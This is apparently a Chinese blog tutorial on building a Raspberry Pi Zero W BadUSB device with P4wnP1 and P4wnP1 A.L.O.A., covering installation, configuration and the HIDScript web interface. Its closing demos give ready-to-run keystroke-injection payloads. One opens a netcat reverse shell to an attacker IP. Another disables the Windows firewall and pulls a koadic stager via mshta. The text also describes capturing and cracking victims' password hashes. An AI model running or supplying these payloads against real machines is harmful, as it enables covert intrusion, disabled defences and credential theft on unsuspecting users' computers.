P4wnP1全家桶安装及实战
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
今天想用自己USB入侵设备的时候,发现WIFI密码给忘了
重装的时候发现自己没有写详细过程!呸!!最后只能删了重写写过。

写在前头血的教训
- 
树莓派没有那么容易坏不用买第二个!! 
- 
网上的 wpa_supplicant.conf开启WIFI我试了N次都没成功过
- 
USB转接头一定要买不需要焊接(别买Zero Quick Plug Bad USB
- 
树莓派 Zero W自带WIFI所以别再买WIFI模块了
- 
装完 P4wnP1切记重启不要直接拔掉会导致开不了机sudo shutdown -r now 
成品图
硬件需求
- 树莓派Zero W
- USB接头
- TF卡一张

通过网线连接树莓派
- 
首先在 config.txt最末行处换行添加如下代码,打开usb网卡模式dtoverlay=dwc2 
- 
其次在 cmdline.txt文件中找到rootwait字段,并在其后面空格添加如下信息,在打开系统时开启usb网卡模式。modules-load=dwc2,g_ether 
- 
然后把 TF卡插入树莓派连接电脑,在串口中会出现串口COM,并且会弹出RNDIS未连接,接着右键点击我的电脑->管理->设备管理器中找到在COM(端口通信)右击更新驱动后使用如下命令即可连接ssh pi@raspberrypi.local  
树莓派换源
这里有两个源需要换
- 
修改软件更新源,位置 /etc/apt/sources.list#换为阿里云的源 
 deb http://mirrors.aliyun.com/raspbian/raspbian/ jessie main non-free contrib rpi
- 
修改系统更新源,位置 /etc/apt/sources.list.d/raspi.list#换位edu的源,不然安装P4wnP1的时候更新系统需要等个把小时 
 deb http://mirrors.ustc.edu.cn/archive.raspberrypi.org/debian/ stretch main ui
设置
wifi
- 
在命令行中输入 sudo raspi-config 
- 
然后选择 Network Options 
- 
选择 WI-FI 
- 
选择自己国家语言编码  
- 
最后输入 ssid和passwd即可连接成功,注:ssid为你wifi的名字,passwd为你的wifi密码 
更换
pip源
修改文件位置/etc/pip.conf
| [global] | 
安装
P4wnP1
- 
从 Github下载项目#下载 
 git clone https://github.com/mame82/P4wnP1.git
 cd P4wnP1
 #安装
 ./install.sh
- 
安装成功后连接 WIFI名为P4wnP1
- 
初始密码是 MaMe82-P4wnP1
- 
再用 putty连接172.24.0.1端口22
- 
打开配置文件: sudo vim P4wnP1/setup.cfg 
- 
配置文件的各个功能的作用详情点我 
- 
如果使用了 Payload后你修改的WIFI还是没变可以去P4wnP1/payloads里面修改文件(因为优先加载payload里面的设置
- 
原始设置+原始 Payload
  
- 
修改过设置+修改过 Payload
  
- 
连接靶机 输入 FireStage1当出现client connect字样时说明连接成功
- 
破解密码 - 
设置完 payloads后插上电脑,当受害者输入密码的时候,树莓派会自己利用John the Ripper模块进行破解
- 
密码文件在这个位置 /P4wnP1/collected 
- 
如果是强密码可以使用 hashcat
- 
可以参考使用文档 
 
- 
- 
shell命令#结束给定的远程进程 
 KillProc
 #结束给定远程客户端
 KillClient
 #创建进程,打开计算器的命令为: CreateProc calc
 CreateProc
 #发送键盘脚本
 SendDuckyScript
 #发送鼠标脚本
 SendMouseScript
 #发送“ABC”键盘输入
 sendkeys ABC
 #下载文件到树莓派
 download
 #上传文件到主机
 upload
 #以靶机的身份访问控制台
 shell
详细命令可以参考官方文档
安装
P4wnP1 A.L.O.A.
由于P4wnP1的可用性太低了,再加上作者已经放弃了那个项目,所以把原来的改成了P4wnP1 A.L.O.A.
本想网上找点资料参考下怎么使用的结果找了半天都没找到使用的文章,官方的文档又是英文的还没有安装教程(原谅我英语菜的抠脚),就只能自己慢慢摸索,刚开始是从Github下载项目到树莓派上然后使用./install来安装,结果疯狂报错,下载了Go语言依赖还是疯狂报错然后我就咕咕了4天(其实是自闭了4天)直到某天逛YouTube的时候看到了某个老哥的安装教程,才有了这部分文章

其实不需要从Github上下载源码安装,作者已经为你打包好了镜像,只需要刷入TF卡就可以了
| #下载img包 | 
接下来只需要连上电脑,打开WiFi就会出现这个界面

接着连接该WiFi密码为MaMe82-P4wnP1 访问http://172.24.0.1:8000/就能进入web端了,推荐电脑连接网线然后用WiFi连接树莓派的WiFi这样既可以上网又可以访问web端


通过172.24.0.1的22端口进行ssh连接,默认用户名root密码toor

web使用体验
- 
USB settings可以对供应商ID、制作者ID、生产商名称、序列号、产品名字进行自定义设置 并且可以对键盘、鼠标、存储设备(模拟 USB闪存驱动器或CD-ROM)、序列化接口、RBDIS(Windows上的USB以太网)、CDC ECM(针对UNIX Linux OSX的USB网络)进行选择 
- 
WiFi settings可以对 WIFI名称和密码、信道、加密方式、是否隐藏SSID(这个一般必开)、所在国家、工作模式(AP或客户端) 修改好点击 store来把配置保存在树莓派中然后点击DEPLOY STORED即可切记密码长度要大于8位不然会导致设置失败  
- 
Bluetooth Settings蓝牙模块感觉没有 WiFi来的高效,这块就暂时不多逼逼了,我直接给它关了 
- 
Network Settings对网络和 DHCP进行的一些设置 
- 
Trigger Action
触发机制,通过某项事件或者操作触发一项或者多项操作

触发条件有:开始服务、树莓派连接到目标、树莓派从目标断开、WIFI连接成功、加入现有的WIFI、DHCP、GPIO输入、从SSH登入树莓派
触发后的操作:写入日志、运行bash脚本、启动HIDscript、加载和部署模板、在GPIO上设置输出还可以设置要加载的模板和模板类型
如果勾选了One shot的话那就只会执行一次

- 
Event Log事件日志 
- 
Generic Settings模板编辑,存放之前编辑的设置,每次开机会套用这里的模板  如果你想开机加载的 WiFi为你设置的WiFi,首先要在WiFi settings模块中上传你的WiFi模板,然后按下图设置后点REBOOT即可,如果你还想做其他开机启动操作都是类似的 
- 
HIDScrip这个是重点,可以执行高效的攻击命令和来的 P4wnP1相比可做的事情多太多了,据官方文档所写的是基于JavaScript的 layout('us'); // 键盘布局 
 typingSpeed(100,150) // 敲击按键的时候等待的间隔100毫秒加上0-150毫秒之间的随机值
 waitLEDRepeat(NUM); //类似于等待用户按下某个键然后在继续运行,但是在OSX上没用
 press("GUI r");//类似按下某个键位然后再抬起来,具体可以看官方文档,和上面的机制相识
 delay(500);//暂停时间
 type("notepad\n")//输入字符串,模拟键盘按键
 moveStepped(x,y); //鼠标移动,相当于模拟正常运动
 moveTo(x,y); //鼠标移动到设置的坐标点,x和y分别是横纵坐标,这个相当于跳刀下面给出一个 demo//详细操作参考官方文档 
 //https://github.com/mame82/P4wnP1_aloa
 layout('us');
 typingSpeed(500,9102);
 waitLEDRepeat(NUM);
 press("GUI R");
 type("ping www.ascotbe.com");
 delay(100);
 press("SHIFT A");
ssh端
通过SSH连进去首先修改root密码
首先进去可以对源以及联网进行修改具体方法和上面最开始的换源设置WiFi方式类似
P4wnP1的web端的储存文件的位置都在/P4wnP1/dist目录下

ssh也可以做web的工作,官方根据官方给出的文档输入P4wnP1_cli -h可以查看帮助文档
| root@kali:~# P4wnP1_cli -h | 
试用体验
目标机器使用的window 10

攻击机器使用的是Kali

首先把制作好的USB插入电脑中,然后执行命令测试是否正常工作。注意:这边的键盘布局需要和目标机器上的键盘布局一样不然会输出不是你想输出的结果!!!!!

| layout('us');#目标机器上也要设置为美式键盘 | 

- 
dome1目标机器有nc文件- 
攻击机器开启 nc 
- 
然后在 web端执行如下demolayout('us'); 
 typingSpeed(0,0);
 press("GUI R");
 delay(500);
 type("powershell start powershell -A 'C:\\Users\\Administrator\\Desktop\\nc.exe -e cmd.exe -d 192.168.183.138 1024'\n");
 press("enter"); 
 
- 
- 
demo2利用koadic脚本实现反弹- 
在攻击机器上搭个类似 nc的服务,目标机器只需要访问mshta http://192.168.183.138:9999/h861mset LHOST 192.168.183.138 
 set LPORT 9999
  - 
树莓派 web端运行layout('us'); 
 typingSpeed(0,0);
 press("GUI R");
 delay(500);
 type("powershell start powershell -A 'Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False'\n");#关闭windows防火墙
 delay(1000);
 press("GUI R");
 type("powershell start powershell -A 'mshta http://192.168.183.138:9999/h861m'\n");
 press("enter");
- 
有回显后执行 zombies 0来查看目标机器的详细信息。注意:后面的0代表的是你控制目标机器的ID如果要查看本机直接输入zombies即可 
- 
输入 cmdshell 0来获取目标机器的shell 
 
- 
在手机上测试
- 苹果:Termius
- 安卓:JuiceSSH
参考文章
| https://www.jianshu.com/p/4568f4f0a106 | 
2019.12.20重构文章
2019.12.28文章添加中添加P4wnP1 A.L.O.A.